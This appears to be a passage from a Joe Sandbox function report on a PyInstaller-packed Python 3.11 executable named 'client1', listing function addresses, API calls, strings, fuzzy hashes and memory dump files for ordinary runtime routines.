Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Unicode_$Arg_$ArgumentCompareReadyStringWith$CheckPositionalSubtypeType_
String ID: argument 1$argument 2$normalize$str
API String ID: 3621440800-1320425463
Opcode ID: 94348148c340fa5468beab9ef1746397c69e42e894d14843631ab3fa4ea44381
Instruction ID: 977e28c51aae911f95894bd0b3211ebb9eff69e3c0b86fb62f907b7e16e30984
Opcode Fuzzy Hash: 94348148c340fa5468beab9ef1746397c69e42e894d14843631ab3fa4ea44381
Instruction Fuzzy Hash: 052181E1B1A687D1EA62AF35E44817A2368AF04B98F5A42B5CE5D476E4CF2CD447C330

Function 00007FFBAA7347DC Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON311 ref: 00007FFBAA734808
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA73483D
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA73484D
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA73488C
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA73489C

Strings

is_normalized, xrefs: 00007FFBAA7347FB, 00007FFBAA73482F, 00007FFBAA73487E
str, xrefs: 00007FFBAA734828, 00007FFBAA734877
argument 1, xrefs: 00007FFBAA734836
argument 2, xrefs: 00007FFBAA734885

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_$ArgumentReadyUnicode_$CheckPositional
String ID: argument 1$argument 2$is_normalized$str
API String ID: 396090033-184702317
Opcode ID: c961abb42e83fbff4e8e9473619491438f798cfd5e47330d0c83c04a8f602896
Instruction ID: 0de68c8757105bee458038aa11aabf05e44d0da929d51482c2fd4f982031407d
Opcode Fuzzy Hash: c961abb42e83fbff4e8e9473619491438f798cfd5e47330d0c83c04a8f602896
Instruction Fuzzy Hash: 3121F2E0B0AA97C5E7529F35E8442B62368AF04B98F5541B1CE6D072E4CFACE447C330

Function 00007FF79F6274B0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F6274D7
FormatMessageW.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F627506
WideCharToMultiByte.KERNEL32 ref: 00007FF79F62755C

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

Strings

PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF79F627579
PyInstaller: FormatMessageW failed., xrefs: 00007FF79F627523
WideCharToMultiByte, xrefs: 00007FF79F62756D
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79F627566
No error messages generated., xrefs: 00007FF79F627510
FormatMessageW, xrefs: 00007FF79F627517

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 8b0166d5a5045c769a8e77ad43af0852bc728ff9b5502801be361ecb61f6b2fa
Instruction ID: 3f8bcb08a4949239cf5d499b2be8be6b3ea2e7926f57f98021b190ace911d838
Opcode Fuzzy Hash: 8b0166d5a5045c769a8e77ad43af0852bc728ff9b5502801be361ecb61f6b2fa
Instruction Fuzzy Hash: 85213E71A18B8282E730BF31EC406E6E26BFB88394FC40135D56D926A4EF7CE145C721

Function 00007FFBAB497A90 Relevance: 15.1, APIs: 10, Instructions: 72threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON311 ref: 00007FFBAB497A9D
_PyTrash_cond.PYTHON311 ref: 00007FFBAB497AAF
PyThreadState_Get.PYTHON311 ref: 00007FFBAB497AB9
_PyTrash_begin.PYTHON311 ref: 00007FFBAB497AC8
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497AF4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497B18
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497B3C
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497B60
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497B7D
_PyTrash_end.PYTHON311 ref: 00007FFBAB497B98

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_end
String ID:
API String ID: 227901110-0
Opcode ID: acc77d8fae5fb38cfc5f211597638600039f1ca8324b1c8e61e62cff5070e8e8
Instruction ID: 327e7bb141525bff48f7bc5a79bdd6f5eab1526651c3e44871516b97b5bf92b8
Opcode Fuzzy Hash: acc77d8fae5fb38cfc5f211597638600039f1ca8324b1c8e61e62cff5070e8e8
Instruction Fuzzy Hash: 0B31DBB2A0AA0281E7568F75D59837C63A4EF45FBDF198334CE3A022F5CF6D94858300

Function 00007FF79F630228 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F630268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F630630
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6308CF

Strings

f, xrefs: 00007FF79F6304B5
f, xrefs: 00007FF79F63036A
p, xrefs: 00007FF79F630372
f, xrefs: 00007FF79F630300
p, xrefs: 00007FF79F63030D

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction ID: 3ec97ae38e25c2ae4738682ddf7c8afc54605f162cdf39b16da1d5dd63216689
Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction Fuzzy Hash: 3A129661E0C3C396FB30BA24E1542FEF69BEB80758FD44035D6A9465C9DBBCE5488B60

Function 00007FFBAB4982F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49DFE4
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49E006
PyNumber_TrueDivide.PYTHON311 ref: 00007FFBAB49E01E
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49E030
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49E03F
PyType_IsSubtype.PYTHON311 ref: 00007FFBAB49E085

Strings

float, xrefs: 00007FFBAB49E09F
ratio, xrefs: 00007FFBAB49E051, 00007FFBAB49E0B6

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$DivideNumber_SubtypeTrueType_
String ID: float$ratio
API String ID: 2782116801-972954435
Opcode ID: 4831a3dffaef211fbe30ebf8b367fcef31285f64da05e03ef7d76df15abe5e82
Instruction ID: 87af68b0ce889a9b49e9fe2a674cf8e7685d5b3d09c907c43cafb120554cc2dc
Opcode Fuzzy Hash: 4831a3dffaef211fbe30ebf8b367fcef31285f64da05e03ef7d76df15abe5e82
Instruction Fuzzy Hash: 9D41B8A1E4BA1281FA268B36E58423D63A0EF45BE4F088135DE7D07BF4DF2DE4558301

Function 00007FF79F626FD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF79F623A30), ref: 00007FF79F62701F
GetStartupInfoW.KERNEL32 ref: 00007FF79F62703E

Part of subcall function 00007FF79F639184: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F639198

Part of subcall function 00007FF79F636EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F636F5F

GetCommandLineW.KERNEL32 ref: 00007FF79F6270DE
CreateProcessW.KERNEL32 ref: 00007FF79F627120
WaitForSingleObject.KERNEL32 ref: 00007FF79F627134
GetExitCodeProcess.KERNEL32 ref: 00007FF79F627144

Strings

Error creating child process!, xrefs: 00007FF79F627150
CreateProcessW, xrefs: 00007FF79F627157

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 818e29d337d92c80142cd965dc47d4137e35c853672c1fb6e5a7bce6e7f526a1
Instruction ID: d380c7af5ec119b0fcd4c139edf9bb9be3613d7e6ca27189c727d82b26037fa6
Opcode Fuzzy Hash: 818e29d337d92c80142cd965dc47d4137e35c853672c1fb6e5a7bce6e7f526a1
Instruction Fuzzy Hash: 2141F032A087C281DA20BB70E8552EAE3A9FB95364F900735E6BD47AD5DF7CD0548B50

Function 00007FFBAB494820 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON311 ref: 00007FFBAB4989B4
PyObject_IsInstance.PYTHON311 ref: 00007FFBAB4989D1
PyObject_CallNoArgs.PYTHON311 ref: 00007FFBAB4989DE
PyErr_SetObject.PYTHON311 ref: 00007FFBAB4989F2
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498A01
PyErr_SetObject.PYTHON311 ref: 00007FFBAB498A10
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498A24

Strings

ratio, xrefs: 00007FFBAB498A31

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Object_$DeallocErr_Object$ArgsAttrCallInstance
String ID: ratio
API String ID: 2838319001-4234197119
Opcode ID: e50460fa4b39084320fee5246d3b49e5819d27571d8f2140336073f1f100eac0
Instruction ID: a1677c7c0a53864dd6dc2752104728c8abbf8f8e0839a5dca493f20820d67690
Opcode Fuzzy Hash: e50460fa4b39084320fee5246d3b49e5819d27571d8f2140336073f1f100eac0
Instruction Fuzzy Hash: 8F1115E1A0BA0385EA5A9B7BE99453C63A0AF48BD0F08D139CC2E57374EF2CE4558311

Function 00007FFBAA6FE310 Relevance: 13.6, APIs: 9, Instructions: 133COMMON

Download Yara Rule

APIs

PyContextVar_Get.PYTHON311 ref: 00007FFBAA6FE33E
PyType_IsSubtype.PYTHON311 ref: 00007FFBAA6FE3F7
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE437
PyType_IsSubtype.PYTHON311 ref: 00007FFBAA6FE442
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE47F
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE4D0

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA713B75
_Py_Dealloc.PYTHON311 ref: 00007FFBAA713B99

Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F88EA
Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F88FE
Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F8911
Part of subcall function 00007FFBAA6F87C0: PyMem_Free.PYTHON311 ref: 00007FFBAA6F8925

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$FreeMem_$SubtypeType_$ContextObject_Var_
String ID:
API String ID: 2752330588-0
Opcode ID: e7f4ca843fc1fc5100b4f91760ec1170ac95024235bc5740df5f1bd4fe44d974
Instruction ID: e86eb9662184adae16c74a90496a726e33f20825b5a12516c5da5b9cf20d7e6a
Opcode Fuzzy Hash: e7f4ca843fc1fc5100b4f91760ec1170ac95024235bc5740df5f1bd4fe44d974
Instruction Fuzzy Hash: 605163B1A0AA43C5EA168F3AD85417E6B98AF45F90F0850B6DE4D067A0DF3CE54B8721

Function 00007FFBAB494AA0 Relevance: 13.6, APIs: 9, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON311 ref: 00007FFBAB494AAD
_PyTrash_cond.PYTHON311 ref: 00007FFBAB494ABF
PyThreadState_Get.PYTHON311 ref: 00007FFBAB494AC9
_PyTrash_begin.PYTHON311 ref: 00007FFBAB494AD8
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494B04
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494B28
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494B4C
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494B69
_PyTrash_end.PYTHON311 ref: 00007FFBAB494B84

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_end
String ID:
API String ID: 227901110-0
Opcode ID: 3eece61ab72cf83c1d2f612cf55ea204bf08e9b005993bf916930f8e855fefe8
Instruction ID: 3b528b72adfd9153db3ed582075b7a557fbcecd9a0b5a595cea3e5331e5d53f5
Opcode Fuzzy Hash: 3eece61ab72cf83c1d2f612cf55ea204bf08e9b005993bf916930f8e855fefe8
Instruction Fuzzy Hash: 8A31BCB6A0A60281EB668F76E59833C63A4EF54FB9F158334CE7D026E4CF6DD445C280

Function 00007FF79F62DC30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF79F62DC8D

Part of subcall function 00007FF79F62EBA0: __GetUnwindTryBlock.LIBCMT ref: 00007FF79F62EBE3
Part of subcall function 00007FF79F62EBA0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF79F62EC08

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF79F62DD65
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF79F62DFBA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF79F62E0C6

Strings

csm, xrefs: 00007FF79F62DD0E
csm, xrefs: 00007FF79F62DD88
csm, xrefs: 00007FF79F62DCA7

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 64a04dea20eab758f09741b49381e36ae6aa3d4dbdf263ead872da10faeebcc4
Instruction ID: d469534b6d766c56f50ee888696afe158bf8c955f0a15cc318a51780828034a7
Opcode Fuzzy Hash: 64a04dea20eab758f09741b49381e36ae6aa3d4dbdf263ead872da10faeebcc4
Instruction Fuzzy Hash: 5BE1B372A0878186EB30AF35D8402EDB7A9FB54798F900535EE9D87B95CF38E091C752

Function 00007FFBAB492E90 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

_PyUnicode_Ready.PYTHON311 ref: 00007FFBAB492EAB
PyUnicode_New.PYTHON311 ref: 00007FFBAB492F32

Strings

Python int too large to convert to C ssize_t, xrefs: 00007FFBAB49303E
string index out of range, xrefs: 00007FFBAB49301A

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Unicode_$Ready
String ID: Python int too large to convert to C ssize_t$string index out of range
API String ID: 628428347-644864186
Opcode ID: 89e2e0a892146912667459ae49694ad36895116c94b753a451ed664a490ebf80
Instruction ID: 9bc066825c5de2fa940b9c2f18f85295f84ccf81e42c86668cb32e11a4becfa7
Opcode Fuzzy Hash: 89e2e0a892146912667459ae49694ad36895116c94b753a451ed664a490ebf80
Instruction Fuzzy Hash: 4E5196E2B1A60182EF568B2AE0D01BD2350FF98B94F889135DF2E437E9DE2DD495C704

Function 00007FFBAA7316E0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 129COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7317C0
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA731824
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA73391A
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA73392B

Strings

argument, xrefs: 00007FFBAA73390C
a unicode character, xrefs: 00007FFBAA733905
category, xrefs: 00007FFBAA733913

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Unicode_$Arg_ArgumentFromReadyStringSubtypeType_
String ID: a unicode character$argument$category
API String ID: 2803103377-2068800536
Opcode ID: c9d1e3034f28ed3d090bffcd2b1c2b74113939870b399ed50bdb72791e912429
Instruction ID: e20014fc9e3e0c7b690a10d132a2da58d184e88ce34cc1da38d4e739e1c2c3e0
Opcode Fuzzy Hash: c9d1e3034f28ed3d090bffcd2b1c2b74113939870b399ed50bdb72791e912429
Instruction Fuzzy Hash: 765129E1B0AA46C1EF169F29D4502BA23A9EB44B94F0A4075DE4F47794DF3CE846C334

Function 00007FF79F63DDB8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,?,00007FF79F63E152,?,?,000001692C638C68,00007FF79F63A223,?,?,?,00007FF79F63A11A,?,?,?,00007FF79F635472), ref: 00007FF79F63DF34
GetProcAddress.KERNEL32(?,00000000,?,00007FF79F63E152,?,?,000001692C638C68,00007FF79F63A223,?,?,?,00007FF79F63A11A,?,?,?,00007FF79F635472), ref: 00007FF79F63DF40

Strings

ext-ms-, xrefs: 00007FF79F63DE91
api-ms-, xrefs: 00007FF79F63DE7E

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 01869d8b0b1ae08ce046380e8c955ca032c286979885a37836ee5a28d8bde6d1
Instruction ID: c546f838c425362f3399e95c05d1f801b7d962b554382e889ded803afc47e86f
Opcode Fuzzy Hash: 01869d8b0b1ae08ce046380e8c955ca032c286979885a37836ee5a28d8bde6d1
Instruction Fuzzy Hash: AF412321B19B9681FA32BB32AC005F5A69BBF14BA0F894235DD2D47788DE7CF405C220

Function 00007FFBAA709058 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs
